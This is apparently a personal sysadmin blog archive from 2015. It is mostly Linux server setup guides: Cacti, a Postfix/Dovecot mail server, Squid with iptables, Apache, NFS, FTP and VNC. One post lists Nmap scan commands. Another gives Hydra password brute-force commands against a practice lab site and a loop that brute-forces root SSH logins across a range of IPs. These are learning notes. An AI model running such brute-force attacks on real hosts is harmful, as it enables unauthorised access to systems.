Wednesday, December 30, 2015

NMAP - Top Command Usage

NMAP - Top Command Usage

- nmap 192.168.56.1
- nmap 192.168.56.1-255
- nmap 192.168.56.1 –p 80
- nmap 192.168.56.0/24 –p 1-1000
- nmap 192.168.56.0/24 --exclude 192.168.1.5
- nmap 192.168.56.0/24 --exclude 192.168.1.5,192.168.1.254
- nmap -F 192.168.56.1
- nmap -v -A 192.168.56.1 (operating system and its version)
- nmap -sA 192.168.1.254
- nmap -sA 192.168.1.254  (if a firewall is in place at the target network/IP)
- nmap -PN 192.168.1.1 (In case of firewalls, Nmap has a specific parameter to scan the target)
- nmap --packet-trace 192.168.1.1 (verbosity and see whether all the packets are sent/received)
- nmap –sV 192.168.56.1  (detect different services)

Tuesday, December 29, 2015

Hydra Bruteforce

Hydra Bruteforce

##############################
# 0: Simple Test Case
##############################
hydra -l root -p password attack.samsclass.info http-get /basic0/
URL: http://attack.samsclass.info/basic0

################
# 1: 3-Digit PIN
################
The username is one of these: root, admin, administrator
------------
root@vnkkali:~/Documents# cat usernames1
root
admin
administrator
-------------
create a file makepin3
root@vnkkali:~/Documents# cat makepin3
-------------------
#!/bin/bash

for i in 0 1 2 3 4 5 6 7 8 9
do
for j in 0 1 2 3 4 5 6 7 8 9
do
for k in 0 1 2 3 4 5 6 7 8 9
do
echo $i$j$k >> pin3
done
done
done
-------------------
Run this file to create a file name "pin3"

hydra -L usernames1 -P pin3 attack.samsclass.info http-get /basic1/
URL: http://attack.samsclass.info/basic1
######################
# 2: Top 50 Passwords
######################
The username is one of these: root, admin, administrator  
downlaod the top 50 passwords and name it top50.txt and attack
hydra -L usernames1 -P top50.txt attack.samsclass.info http-get /basic2/
URL: http://attack.samsclass.info/basic2

#########################################
# 3: Top 50 Passwords + a digit (10 pts.)
#########################################
The username is one of these: root, admin, administrator
hydra -L usernames1 -P top50.txt attack.samsclass.info http-get /basic3/
URL: http://attack.samsclass.info/basic3

#############
# 4: Login Form
#############
The username is one of these: root, admin, administrator

hydra -L usernames1 -x 2:2:a attack.samsclass.info http-get-form "/brute4.php:login=^USER^pw=^PASS^:Deny"

Source: http://attack.samsclass.info/brute.htm 

# Script Brute force SSH
#!/bin/bash
for i in 124.124.124.{167..170}
do 
hydra $i ssh -l root -P top50.txt -s 22 -vV
done

#Hydra #Brutefoce 

Monday, December 28, 2015

NMAP - Commands

NMAP - Commands

# One IP
nmap 192.168.56.1

# One Range
nmap 192.168.56.1-255

#Scan IP/Computer 
nmap -sP 192.168.56.0/24

#Check the type of the computer info:
nmap -sS -Pn -A 192.168.56.1

# scan the information of the operating system and its version
nmap -A 192.168.56.1
nmap -v -A 192.168.56.1

# check if a firewall is in place at the target network/IP
nmap -sA 192.168.1.254

# Detect different services running on the remote target
nmap –sV 192.168.56.1

# Specific port
nmap 192.168.56.1 –p 80

# Entire subnet with a specific port range
nmap 192.168.56.0/24 –p 1-1000

# Exclude host, hosts
nmap 192.168.56.0/24 --exclude 192.168.1.5
nmap 192.168.56.0/24 --exclude 192.168.1.5,192.168.1.254

# Speedy
nmap -F 192.168.56.1

Install Khmer Unicode In Kali 2.0

Install Khmer Unicode In Kali 2.0



1. Download NIDA-X11-unicode-keyboard_1.0.2.tar.gz and Khmer Fonts
Download From Here

2. Extract
tar -xvf NIDA-X11-unicode-keyboard_1.0.2.tar.gz
3. Install
cd NIDA-X11-unicode-keyboard_1.0.2
./install
4. Install Fonts
copy font files to /usr/share/fonts/truetype/
and Run this command
fc-cache -f -v

5. Go to Setting and add Khmer keyboard.

Switch keyboad ( Super Key + Space)

Sunday, December 27, 2015

Delete Mail Queue

Delete Mail Queue

#!/bin/bash
# Search user, ip or content and delete
if (! test $1)
then
  echo "Usage: $0 IP or username"
  exit 1
fi
for i in 0 1 2 3 4 5 6 7 8 9 A B C D E F
do
echo "Go to directory $i"
cd /var/spool/postfix-deliver/deferred/$i ; grep $1 * | awk '{print $3}'| postsuper -c /etc/postfix-deliver/ -d-
done

Tuesday, December 1, 2015

Script Get All IPs on Eth

Script Get All IPs on Eth

#!/bin/bash
ETH=$(ip add |grep eth |cut -d: -f2 |awk '{print $1}' |grep eth)

for i in $ETH; do echo "IP on $i: "; ifconfig $i | grep inet | awk '{print $2}' |cut -d: -f2 ;done



Sunday, November 1, 2015

Install Cacti - CentOS 6

Install Cacti - CentOS 6

OS: CentOS 6.5 - 64bits
IP: 124.124.124.160/24

Install Apache
yum install httpd httpd-devel
Install MySQL
yum install mysql mysql-server
Start service mysqld
/etc/init.d/mysqld start
Enable mysqld service permanently
chkconfig mysqld on
Reset password for mysql to new password is "rhce2015"
mysqladmin -u root -p password rhce2015
Install PHP
yum install php-mysql php-pear php-common php-gd php-devel php php-mbstring php-cli php-mysql
Install PHP-SNMP
yum install php-snmp
Install NET-SNMP
yum install net-snmp-utils net-snmp-libs php-pear-Net-SMTP
Install RRDtool
yum install rrdtool
Start service: Apache, MySQL and SNMP
/etc/init.d/httpd start
/etc/init.d/mysqld start
/etc/init.d/snmpd start
Enable service: Apache, MySQL and SNMP to startup
chkconfig httpd on
chkconfig mysqld on
chkconfig snmpd on
Add Repository
wget http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
rpm -ivh epel-release-6-8.noarch.rpm
Installing Cacti Tool
yum install cacti
Configure MySQL
Login to mysql as user "root" and create user and database for cacti
mysql -u root -p
mysql> create database cacti;
mysql> GRANT ALL ON cacti.* TO cacti@localhost IDENTIFIED BY 'centos65';
mysql> flush privileges;
mysql> exit
Find cacti.sql file
rpm -ql cacti | grep cacti.sql
/usr/share/doc/cacti-0.8.8b/cacti.sql
Restore default cacti database to our created database
mysql -u cacti -p cacti < /usr/share/doc/cacti-0.8.8b/cacti.sql
Edit cacti database
vi /etc/cacti/db.php
/* make sure these values refect your actual database/host/user/password */
$database_type = "mysql";
$database_default = "cacti";        ## Name of the Cacti Database ##
$database_hostname = "localhost";
$database_username = "cacti";       ## Username for Cacti database ##  
$database_password = "centos65";              ## Database password ##
$database_port = "3306";
$database_ssl = false;
/*

Configure Apache server
vi /etc/httpd/conf.d/cacti.conf
With content
Alias /cacti /usr/share/cacti
 <Directory /usr/share/cacti/>
     <IfModule mod_authz_core.c>
     # httpd 2.4
     Require host localhost
          </IfModule>
               <IfModule !mod_authz_core.c>
                 # httpd 2.2
                 Order deny,allow
                 Deny from all
                 Allow from 124.124.124.0/24
          </IfModule>
 </Directory>
  

Restart Apache
/etc/init.d/httpd restart
Allow port 80 in iptables
vi /etc/sysconfig/iptables
Add this line
-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
Restart iptables
/etc/init.d/iptables restart
Configure Cron for Cacti
vi /etc/cron.d/cacti
with this content
*/5 * * * * cacti /usr/bin/php /usr/share/cacti/poller.php > /dev/null 2>&1

Run Cacti installer
http://124.124.124.160/cacti
New Install
Finish installation

Login into cacti with default username and password is admin.
And this page will forced us to change the default password
Loged in


Add other server:
Devices --> Add -->

Here is the sample of graph Memory Usage


#CentOS #Cacti #Vannakk

Install Mail Server - CentOS

Install Mail Server - CentOS

OS: CentOS 6.5 - 64bits

ServerName: mailsrv01.lnx.org
Server IP: 124.124.124.201

What we are going to set up:
1. Install and configure Postfix
2. Install and configure Dovecot
3. Install and configure Web Mail (Squirrel Mail)

1. Install and configure Postfix
yum install postfix
Copy the the original file
cp /etc/postfix/main.cf /etc/postfix/main.cf.orig

Edit main configuration file of postfix
vi /etc/postfix/main.cf
With content
myhostname = mailsrv01.lnx.org

mydomain = lnx.org

myorigin = $mydomain

inet_interfaces = all

inet_protocols = all


mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain

mynetworks = 124.124.124.0/24, 127.0.0.0/8

home_mailbox = Maildir/

Restart postfix and enable in start up
service postfix restart
chkconfig postfix on

Create username : userlnx1 and set the password
useradd userlnx1
passwd userlnx1

Install telnet and test smtp
yum install telnet
telnet localhost smtp

ehlo localhost

mail from: 

rcpt to: 

data

welcome to LNX mail server 
.
quit

ls /home/userlnx1/Maildir/new/
(We should see the file that contain the email content)

2. Install and configure Dovecot

yum install dovecot
Copy the original file
cp /etc/dovecot/dovecot.conf /etc/dovecot/dovecot.conf.orig
Edit File
vi /etc/dovecot/dovecot.conf
With content
protocols = imap pop3 lmtp
Copy the original file
cp /etc/dovecot/conf.d/10-mail.conf /etc/dovecot/conf.d/10-mail.conf.orig
Edit File
vi /etc/dovecot/conf.d/10-mail.conf 
With content
mail_location = maildir:~/Maildir
Copy the original file
cp /etc/dovecot/conf.d/10-auth.conf  /etc/dovecot/conf.d/10-auth.conf.orig
Edit File:
vi /etc/dovecot/conf.d/10-auth.conf 
With content
disable_plaintext_auth = yes

auth_mechanisms = plain login
Copy the original file
cp /etc/dovecot/conf.d/10-master.conf  /etc/dovecot/conf.d/10-master.conf.orig
Edit File
vi /etc/dovecot/conf.d/10-master.conf 
With content
## Line 83, 84 - Uncomment and add "postfix"
#mode = 0600
   user = postfix
  group = postfix

Start service and enable in start up
service dovecot start
chkconfig dovecot on
Test POP3
telnet localhost pop3
user userlnx1
pass rhce2015
retr 1

quit

3. Install and configure Web mail  (Squirrel Mail)
Download and install  CentOS 6. repostory
wget http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
rpm -ivh epel-release-6-8.noarch.rpm
Install Squirrelmail
yum install squirrelmail
Go to configure directory
cd /usr/share/squirrelmail/config/
and Run the perl script
./conf.pl
The following wizard will open. Enter choice “1” to set your organization details:
The following wizard will open. Enter “1” again to modify your organization details:
[SquirrelMail]: LNX-Org

By this way, setup all the details such as organization title, logo, provider name in the above wizard.
Once you done, press “S” to save changes and press “R” to return back to your main menu:

Now enter “2” to setup mail Server settings such as domain name and mail agent etc.:

Enter “1”, Enter your mail domain (ex. lnx.org) and press Enter key.

Enter “3” and change from sendmail to Postfix MTA (i.e. SMTP):

Enter “2” to switch from sendmail MTA to postfix.

Now enter “S” followed by “Q” to save and exit Squirrelmail configuration.
Command >> Q


Exiting conf.pl.
You might want to test your configuration by browsing to
http://your-squirrelmail-location/src/configtest.php
Happy SquirrelMailing!
Access to check the config of squirrelmail
http://124.124.124.201/webmail/src/configtest.php
If you got this error message
ERROR: Error connecting to SMTP server "localhost:25".Server error: (13) Permission denied
Run this command
setsebool httpd_can_network_connect=1
Allow port 25 in iptables
vi /etc/sysconfig/iptables
Add this line
-A INPUT -m state --state NEW -m tcp -p tcp --dport 25 -j ACCEPT
Restart iptables
/etc/init.d/iptables restart
Copy the original file
cp /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf.orig
Edit file
vi /etc/httpd/conf/httpd.conf 
With content
Alias /webmail /usr/share/squirrelmail

    Options Indexes FollowSymLinks
    RewriteEngine On
    AllowOverride All
    DirectoryIndex index.php
    Order allow,deny
    Allow from all

Restart Apache
service httpd restart
Allow port 80 in iptables
Edit file
vi /etc/sysconfig/iptables
with this content
-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
Restart iptables
/etc/init.d/iptables restart

Create username: userlnx2 and set the password
useradd userlnx2
passwd userlnx2

Log into webmail with user : userlnx1 and send email to userlnx2.
http://124.124.124.201/webmail/

and login as user: userlnx2 to check the mail mail server we can login and send the email.
Done,



#Postfix #Dovecot #Webmail #SquirrelMail #Vannak

Saturday, October 24, 2015

Configure IPTABLES with Squid

Configure IPTABLES with Squid

This is what we are going to do:
1. Install and Configure Squid
2. Run IPTABLES to allow Clients to use Squid
3. Configure proxy on client browser and access to INTERNET
4. Install SARG (Squid Report)

This is our network diagram:


1. Install and Configure Squid
yum -y install squid
# Backup an orginal config file
cp /etc/squid/squid.conf /etc/squid/squid.conf.orig
# Edit Sqid
vi /etc/squid/squid.conf
With content
acl lan5 src 5.5.5.0/24
....
http_access allow lan5
....
http_port 3128
....
visible_hostname fwprx.vannakk.org

# Start Squid and Enable to startup
service squid start
chkconfig squid on

2. Run IPTABLES to allow Clients to use Squid
Here is our script:
#!/bin/sh
WAN="eth1"
LAN="eth2"
SQUID_SERVER="5.5.5.200"
SQUID_PORT="3128"
# ----- Enable Route ----- #
echo 1 > /proc/sys/net/ipv4/ip_forward
# ----- Default to drop packets ----- #
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
# ----- Setting default filter policy ----- #
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
# ----- Allow all local loopback traffic ----- #
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# ----- Unlimited access to LAN ----- #
iptables -A INPUT -i $LAN -j ACCEPT
iptables -A OUTPUT -o $LAN -j ACCEPT
# ----- Allow UDP, DNS and Passive FTP ----- #
iptables -A INPUT -i $WAN -m state --state ESTABLISHED,RELATED -j ACCEPT
# ----- DNAT port 80 request comming from LAN systems to squid 3128 ----- #
iptables -t nat -A PREROUTING -i $LAN -p tcp --dport 80 -j DNAT --to $SQUID_SERVER:$SQUID_PORT
# ----- If it is same system ----- #
iptables -t nat -A PREROUTING -i $WAN -p tcp --dport 80 -j REDIRECT --to-port $SQUID_PORT
# ----- Set this system as a router of LAN ----- #
iptables -A FORWARD -i $LAN -j ACCEPT
iptables -t nat -A POSTROUTING -o $WAN -j MASQUERADE
# ----- DROP everything and Log it ----- #
iptables -A INPUT -j LOG
iptables -A INPUT -j DROP

# ----- EOF ----- #

Check client access:
tailf /var/log/squid/access.log

3. Configure proxy on client browser and access to INTERNET
Putty Proxy on browser:
Access to Internet

4. Install SARG (Squid Report)

4.1 Install dependencies packages
yum install –y gcc gd gd-devel make perl-GD wget httpd
4.2 Download , Extract and install
wget http://nchc.dl.sourceforge.net/project/sarg/sarg/sarg-2.3.7/sarg-2.3.7.tar.gz
tar -xvf sarg-2.3.7.tar.gz
cd sarg-2.3.7
./configure
make
make install
4.3 Configure SARG
cp /usr/local/etc/sarg.conf /usr/local/etc/sarg.conf.orig
vi /usr/local/etc/sarg.conf 
Now Uncomment and add the original path to your squid access log file.
access_log /var/log/squid/access.log

output_dir /var/www/html/squid-reports

date_format e

overwrite_report yes
Save file.

Create folder squid-reports
mkdir /var/www/html/squid-reports
Generating Sarg Report
sarg -x

Start Apache
service httpd start

From Client Access to SARG by:



What we are gonna do more:


+ Block website
+ Authentication
+ Block Download extension (.exe,.mp3,.mp4...)
+ Limit Bandwidth
+ Schedule Block (facebook.com,youtube.com, ... ) during working hours
+ Block a IP range (5.5.5.100 - 5.5.5.170) but allow IP 5.5.5.150 
+ ...


IPTABLES Allow LAN to WAN

IPTABLES Allow LAN to WAN

iptables is a command line utility for configuring Linux kernel firewall implemented within the Netfilter project.

We configure on Linux Server (iptables) to allow network 5.5.5.0/24 go to INTERNET. 

Here is our script:

#!/bin/sh
WAN="eth1"
LAN="eth2"
# ----- Enable Route ----- #
echo 1 > /proc/sys/net/ipv4/ip_forward
# ----- Default to drop packets ----- #
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -X
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
# ----- Allow all local loopback traffic ----- #
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# ----- Allow LAN SSH TO FIREWALL PORT 22 ----- #
iptables -A INPUT -i $LAN -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -o $LAN -p tcp --sport 22 -j ACCEPT
# ---- Allow LAN Ping TO FIREWALL ----- #
iptables -A INPUT -i $LAN -p icmp  -j ACCEPT
iptables -A OUTPUT -o $LAN -p icmp -j ACCEPT
# ----- Allow LAN access Internet ----- #
iptables -A FORWARD -o $LAN -m state --state ESTABLISHED,RELATED -j ACCEPT
# ----- NAT and MASQUERADE -----#
iptables -A FORWARD -i $LAN -o $WAN -j ACCEPT
iptables -t nat -A POSTROUTING -o $WAN -j MASQUERADE

# ----- EOF ----- #

Check on the client ip and test to INTERNET.

Finished,

#LINUX #IPTABLES #vannakk



Sunday, October 18, 2015

Install Web Services - Apache

Install Web Services - Apache


Server OS: CentOS 6.5 64bits

Install Web Services - Apache
yum install httpd

Create a VirtualHost
Create a VirtualHost point to website in /var/www/html/linux.com
mkdir /var/www/html/linux.com
vi /var/www/html/linux.com/index.html
With content

Welcome to LINUX Class.

Create a VirtualHost file name linux.com.conf in: /etc/httpd/conf.d/
vi /etc/httpd/conf.d/linux.com.conf
With content:
<VirtualHost *:80>
      ServerAdmin ken.vannakk@gmail.com
      DocumentRoot /var/www/html/linux.com
      ServerName linux.com
      ServerAlias www.linux.com
      ServerAlias linux.org
      ServerAlias www.linux.org
      ErrorLog /var/log/httpd/linux.com.error_log
      CustomLog /var/log/httpd/linux.com-access_log common
</VirtualHost>

Add Server Name at the end of file in httpd.conf
vi /etc/httpd/conf/httpd.conf
With content
ServerName      127.0.0.1

Start Apache
/etc/init.d/httpd start

Allow port 80 in iptables
vi /etc/sysconfig/iptables
Add this line:
-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
Reload iptables
/etc/init.d/iptables reload
Access to website:

Authentication with Apache
Crate Apache user name: userlinux
htpasswd -c /var/www/html/userpass userlinux
Enter password,

Update VirtualHost
vi /etc/httpd/conf.d/linux.com.conf
<VirtualHost *:80>
      ServerAdmin ken.vannakk@gmail.com
      DocumentRoot /var/www/html/linux.com
      ServerName linux.com
      ServerAlias www.linux.com
      ServerAlias linux.org
      ServerAlias www.linux.org
     <Location />
         Deny from all
         AuthUserFile /var/www/html/userpass
         AuthName "Welcome to LINUX Class"
         AuthType Basic
         Satisfy Any
         require valid-user
    </Location>

   ErrorLog /var/log/httpd/linux.com.error_log
   CustomLog /var/log/httpd/linux.com-access_log common
</VirtualHost>

Reload Apache
/etc/init.d/httpd reload

Access to that site again:

Login with the username and password we create 

Finished,

#CentOS  #Apache  #Vannakk


Saturday, September 26, 2015

Install NFS In CentOS

Install NFS In CentOS

OS: CentOS 6.5
NFS Server IP: 124.124.124.150
NFS Client IP: 124.124.124.148

1. Install NFS - Server

yum install nfs-utils

2. Configuration
vi /etc/idmapd.conf
Add this line
Domain = vannakk.org

Edit file
vi /etc/exports

/home 124.124.124.0/24(rw,sync,no_root_squash,no_all_squash)

Start service nfs server
/etc/init.d/rpcbind start
/etc/init.d/nfslock start
/etc/init.d/nfs start

Startup service
chkconfig rpcbind on
chkconfig nfslock on
chkconfig nfs on

Install NFS - Client

yum -y install nfs-utils

Start service nfs server

/etc/init.d/rpcbind start
/etc/init.d/nfslock start
/etc/init.d/nfs start

Startup service
chkconfig rpcbind on
chkconfig nfslock on
chkconfig nfs on

Test show Mount

Mount Drive

Create a mount point
mkdir /mnt/nfsdrive



Add auto in startup with NFS
vi /etc/fstab

Add this line:
124.124.124.150:/home /mnt/nfsdrive nfs defaults 1 1


Done,

#NFS #CentOS #Vannakk

Install VSFTPd In CentOS

Install VSFTPd In CentOS 


OS: CentOS 6.5 
Server IP: 124.124.124.150

1. Installations

yum install vsftpd ftp

2. Configure
vi /etc/vsftpd/vsftpd.conf

changed:

## Set to "NO" ##
anonymous_enable=NO

## Uncomment ##
ascii_upload_enable=YES
ascii_download_enable=YES

## Uncomment - Enter your Welcome message - This is optional ##
ftpd_banner=Welcome to SunRise FTP service..

chroot_local_user=YES

## Add at the end of this  file ##
use_localtime=YES


Start Services and turn on at start up
service vsftpd start
chkconfig vsftpd --list
chkconfig vsftpd on

useradd vannakk1
passwd vannakk1

Test FTP
ftp 124.124.124.150


** Probably you will get an error like “500 OOPS: cannot change directory”.
setsebool -P ftp_home_dir on

Allow port 20 and 21 in iptables

vi /etc/sysconfig/iptables

-A INPUT -m state --state NEW -m tcp -p tcp --dport 20 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT

service iptables restart

setsebool -P allow_ftpd_full_access on
setsebool -P ftp_home_dir on

3. Test from Client

- Download ftp client and connect to server (FileZilla)

- Connect via browser
After loged in


Done,


#VSFTPd #CentOS #Vannakk

Friday, September 25, 2015

Install VNC Server on CentOS 7

Install VNC Server on CentOS 7

VNC Server IP: 124.124.124.143

Remote to VNC Server, Login as root and install the packages

Install dependency packages
yum groupinstall "X Window System"
yum install gnome-classic-session gnome-terminal nautilus-open-terminal control-center liberation-mono-fonts

unlink /etc/systemd/system/default.target

ln -sf /lib/systemd/system/graphical.target /etc/systemd/system/default.target

Reboot Server
reboot

Install VNC Server
yum install tigervnc-server

cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@:1.service

Now open /etc/systemd/system/vncserver@:1.service file and replace with your username .
Find these lines ..

I am create for user root in this case
ExecStart=/sbin/runuser -l root -c "/usr/bin/vncserver %i"
PIDFile=/root/.vnc/%H%i.pid


Reload systemd for changes.
systemctl daemon-reload

Create VNC password for the user .
vncpasswd

Enable service at startup
systemctl enable vncserver@:1.service

Start the service .
systemctl start vncserver@:1.service


Allow VNC service and restart firewall
firewall-cmd --permanent --add-service vnc-server
systemctl restart firewalld.service


Click Continue

Conected.


To stop VNC service .
systemctl stop vncserver@:1.service

To disable VNC service from startup ( permanent ).
systemctl disable vncserver@:1.service

To stop firewall ( For troubleshooting ).
systemctl stop firewalld.service


#VNC #CentOS #Server #Vannakk

Monday, September 21, 2015

Mount ISCSI in VMware vSphare

Mount ISCSI in VMware vSphare

* vSphare Server
* Storage: Open E, Enterprise Storage OS and Software for Every Business

- VMware vSphare IP: 124.124.124.140
- Open E Storage IP: 124.124.124.150

1. Prepare Open E
Download ISO image of Open E , Installed and assign IP

Create Volume Group

Select Disk and create Volume group name: vg200GB

Create ISCSI Volume
Our ISCSI volume

Create Target 

Attached
Click on attach. 

2. Access to VMware vSphare Server 
Add ISCSI Adapter

Add software ISCISI
confirm OK
After Added
Add ISCSI
Add Network
Add Target Server
ISCSI initiator
Device Found
Add storage

Select Disk/LUN

Disk Added
Select File System type
Disk layout
Name the new Storage
Capacity
Summary

View Storage

Done,

#VMware #vSphare #ISCSI #OpenE #Storage #Vannakk